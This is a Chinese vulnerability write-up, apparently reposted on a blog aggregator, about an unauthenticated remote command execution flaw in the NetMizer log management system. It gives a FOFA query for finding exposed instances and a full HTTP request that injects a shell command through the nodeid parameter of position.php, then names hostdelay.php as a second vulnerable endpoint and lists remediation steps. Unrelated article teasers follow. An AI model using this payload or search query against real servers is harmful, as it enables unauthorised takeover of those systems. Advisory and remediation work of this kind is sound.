NetMizer 日志管理系统前台RCE漏洞

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、产品介绍

NetMizer日志管理系统是一个与NetMizer流量管理设备配合使用的外挂系统,通常安装在一台独立的Windows服务器上,NetMizer是提供集成应用交付和应用安全解决方案以实现业务智能网络的全球供应商。它为全球企业和运营商提供确保关键业务应用的全面可用性、高性能和完善的安全性的解决方案。

二、漏洞描述

NetMizer 日志管理系统position.php、接口处存在命令执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行命令,写入后门,获取服务器权限,进而控制整个web服务器。

三、fofa语法

title="NetMizer 日志管理系统"

四、漏洞复现 

数据包

GET /data/search/position.php?action=file&nodeid=|id%3E1.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip
Connection: close
Upgrade-Insecure-Requests: 1

漏洞点为 position.php接口,nodeid参数为执行的命令,后面接写入的文件

该数据包即将id执行结果返回到1.txt

访问/data/search/1.txt

 没有做相关的acl

通过信息收集,hostdelay.php接口处也存在rce

五、漏洞修复

  1. 识别漏洞
    • 确认漏洞的具体位置和性质。参考文章提到的NetMizer日志管理系统的position.phphostdelay.php等接口处存在命令执行漏洞。
  2. 升级和补丁
    • 立即检查NetMizer的官方支持渠道,查找是否有可用的安全补丁或更新。
    • 应用所有官方发布的补丁和更新,确保系统处于最新版本状态。
  3. 访问控制
    • 加强系统的访问控制策略,确保只有经过身份验证和授权的用户才能访问关键接口。
    • 禁用或限制对已知漏洞接口的直接访问,如position.phphostdelay.php等。
  4. 输入验证和过滤
    • 在服务器端实现严格的输入验证和过滤机制,防止恶意用户通过输入注入恶意命令。
    • 使用白名单方法验证输入,只允许已知的、安全的输入通过。
  5. 错误处理和日志记录
    • 增强错误处理机制,确保系统不会泄露敏感信息或详细的错误堆栈。
    • 记录所有与安全相关的事件和异常,以便后续审计和调查。
  6. 最小权限原则
    • 确保运行NetMizer日志管理系统的服务器和应用程序使用最小的必要权限。
    • 避免使用root或高权限账户运行不必要的服务或任务。
  7. 加强安全配置
    • 禁用不必要的服务和功能,减少攻击面。
    • 配置防火墙规则,限制对NetMizer日志管理系统的外部访问。
    • 启用SSL/TLS加密,确保所有敏感数据的传输都是加密的。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/20231.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

矩阵1-范数与二重求和的求和可交换

矩阵1-范数与二重求和的求和可交换 1、矩阵1-范数 A [ a 11 a 12 ⋯ a 1 n a 21 a 22 ⋯ a 2 n ⋮ ⋮ ⋱ ⋮ a n 1 a n 2 ⋯ a n n ] A \begin{bmatrix} a_{11} &a_{12} &\cdots &a_{1n} \\ a_{21} &a_{22} &\cdots &a_{2n} \\ \vdots &\vdots …

【开源】Wordpress自定义鼠标样式插件

插件简介 使用此插件可一键自定义Wordpress前端鼠标指针样式。利用该插件,站长可以快速实现替换多种鼠标指针样式于网站前端。 鼠标图案均来自于网络,插件仅作收集整理,插件完全开源无任何商业性质。 插件截图 使用教程 下载插件文件 下载…

文件系统小册(FusePosixK8s csi)【2 Posix标准】

文件系统小册(Fuse&Posix&K8s csi)【2 Posix】 往期文章:文件系统小册(Fuse&Posix&K8s csi)【1 Fuse】 POSIX:可移植操作系统接口(标准) 1 概念 POSIX:…

前端Vue自定义支付密码输入框键盘与设置弹框组件的设计与实现

摘要 随着信息技术的不断发展,前端开发的复杂性日益加剧。传统的开发方式,即将整个系统构建为一个庞大的整体应用,往往会导致开发效率低下和维护成本高昂。任何微小的改动或新功能的增加都可能引发对整个应用逻辑的广泛影响,这种…

【原创】springboot+mysql医院预约挂号管理系统设计与实现

个人主页:程序猿小小杨 个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎 博客内容:Java项目实战、项目演示、技术分享 文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交…

【Redis】List源码剖析

大家好,我是白晨,一个不是很能熬夜,但是也想日更的人。如果喜欢这篇文章,点个赞👍,关注一下👀白晨吧!你的支持就是我最大的动力!💪💪&#x1f4aa…

linux:命令别名,文件描述符及重定向

命令别名 命令别名是Shell提供的一种快捷方式,允许为命令创建简短的替代名称。,可以通过输入较短的别名来执行较长的命令,从而提高效率。 1.查看所有别名: [rootlocalhost ~]# alias 2.创建临时别名,当前会话关闭即清除 alias 别名完整命令…

游戏交易平台源码游戏帐号交易平台系统源码

功能介绍 1:后台可以添加删除游戏分类 2:会员中心可以出售游戏币,账号,装备 3:后台可以对会员和商品进行管理 4:多商家入驻,商家发布信息 5:手机版功能可以生成APP 6:在线支付可支持微信和支…

VQAScore开启文本到视觉生成评估新篇章

随着生成式人工智能技术的飞速发展,如何全面评估生成内容的质量和与输入提示的一致性成为了一个挑战。在图像-文本对齐领域,传统的评估方法如CLIPScore存在局限性,尤其是在处理涉及多个对象、属性和关系的复杂提示时。它们通常基于简单的词袋…

MES系统的功能、架构及应用价值

MES系统生产过程控制的主要方面涵盖了生产计划与控制、生产调度与排程、数据采集与监控、质量控制与管理、物料管理与控制以及设备管理与维护等多个方面。这些功能共同构成了MES系统的核心价值,帮助企业实现生产过程的数字化、智能化和精细化管理。 一、工厂使用MES…

【Oracle】修改已经存在的序列的当前值

前情提要 在oracle中一般使用序列来实现ID自增。但是oracle中序列维护的没有mysql那么好。只是单存的递增。 比如新建了一个序列,从1开始,每次递增1。此时我向数据库里插入一条id10的数据。那么在序列查询到10的时候,插入就会报错。 所以比较…

vue父组件如何向子组件传递数据?

Vue.js 中,父组件向子组件传递数据的主要方式是通过 props。具体步骤如下: 在父组件中定义要传递的数据:<!-- 父组件模板 --> <template><child-component :message"parentMessage"></child-component> </template><script> ex…

2024-05-29_二进制文件和文本文件作业

1.关于文本文件和二进制文件描述错误的是&#xff1f;&#xff08; &#xff09; A.文本文件是可以读懂的&#xff0c;二进制文件没办法直接读懂 B.数据在内存中以二进制的形式存储&#xff0c;如果不加转换的输出到外存&#xff0c;就是二进制文件 C.将内存中的数据转化成ASC…

Vue3-Setup-“集大成者”

何为Setup&#xff1a; setup是Vue3中一个新的配置项&#xff0c;值是一个函数&#xff0c;它是 Composition API 行为的根基&#xff0c;组件中所用到的&#xff1a;数据、方法、计算属性、钩子、自定义方法、自定义插槽、自定义Ref、监视......等等&#xff0c;均配置在setup…

Nginx 1.26.0 爆 HTTP/3 QUIC 漏洞,建议升级更新到 1.27.0

据悉&#xff0c;Nginx 1.25.0-1.26.0 主线版本中涉及四个与 NGINX HTTP/3 QUIC 模块相关的中级数据面 CVE 漏洞&#xff0c;其中三个为 DoS 攻击类型风险&#xff0c;一个为随机信息泄漏风险&#xff0c;影响皆为允许未经身份认证的用户通过构造请求实施攻击。目前已经紧急发布…

qt中的网络请求QNetworkAccessManager——两种方法同步与异步

目录 一、qt中的网络请求 1.网络的一些基础知识 网络的GET和POST方式 网络中的鉴权 2.qt实现网络请求方式get和post GET 请求 3.qt网络请求中添加鉴权信息 1. 生成鉴权字符串 2. 设置鉴权头部到 QNetworkRequest 3. 简单的网络处理响应和错误 二、同步阻塞网络请求 三…

密码与网络安全(一):专栏导读

1.专栏目的 这个专栏的核心目的是提升博主自己的密码与网络安全知识&#xff0c;其次也想将相关的学习收获分享给感兴趣的小伙伴。博主自己的工作主要量子技术相关&#xff0c;身边的同事基本上也是物理专业出身&#xff0c;最近和单位密码领域同事聊天时他提到一个思路很好的启…

【Linux 网络】网络基础(三)(其他重要协议或技术:DNS、ICMP、NAT)

一、DNS&#xff08;Domain Name System&#xff09; DNS 是一整套从域名映射到 IP 的系统。 1、DNS 背景 TCP/IP 中使用 IP 地址和端口号来确定网络上的一台主机的一个程序&#xff0c;但是 IP 地址不方便记忆。于是人们发明了一种叫主机名的东西&#xff0c;是一个字符串&…

当没用git工具是怎么快速下载项目

https://github.com/lucasb-eyer/pydensecrf/archive/refs/heads/master.zip 是一个用于直接下载 GitHub 仓库中最新代码的链接。让我们详细解释一下这个 URL 的结构以及它的用途&#xff1a; ### URL 结构说明 1. **基本仓库 URL**&#xff1a; https://github.com/l…

学习笔记——网络参考模型——TCP/IP模型

二、TCP/IP模型 TCP/IP模型(TCP/IP协议栈)&#xff1a;很多个互联网协议的集合&#xff0c;其中以TCP和IP为主&#xff0c;将这些协议的集合称为TCP/IP协议栈。目前使用最多的协议模型。 因为OSI协议栈比较复杂&#xff0c;且TCP和IP两大协议在业界被广泛使用&#xff0c;所以…